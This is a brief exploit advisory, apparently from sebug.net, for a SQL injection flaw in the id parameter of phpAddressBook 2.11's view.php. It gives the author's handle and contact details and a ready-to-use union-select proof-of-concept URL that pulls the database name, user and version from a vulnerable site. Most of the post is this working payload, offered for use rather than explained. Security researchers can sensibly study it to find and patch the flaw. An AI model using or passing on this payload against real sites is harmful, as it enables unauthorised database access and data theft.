phpAddressBook 2.11 (view.php id) SQL Injection Vulnerability

[~] phpAddressBook Remote Sql 陌nj. Vuln. [~] Download: http://downloads.coronamatrix.org/phpAddressBookv2.11.zip [~] Version : All My Version [~] Founder: Cr@zy_King [~] HomePage: http://coderx.org [~] Greatz : str0ke & All My Friends [~] Contact: crazy_kinq@hotmail.co.uk [~] PoC: http://www.xxx.org/view.php?id=-1+union+select+1,2,3,convert(concat(database(),char(58),user(),char(58),version()),char),5,6,7,8,9,10,11,12/* --------------------- http://coderx.org --------------------- # sebug.net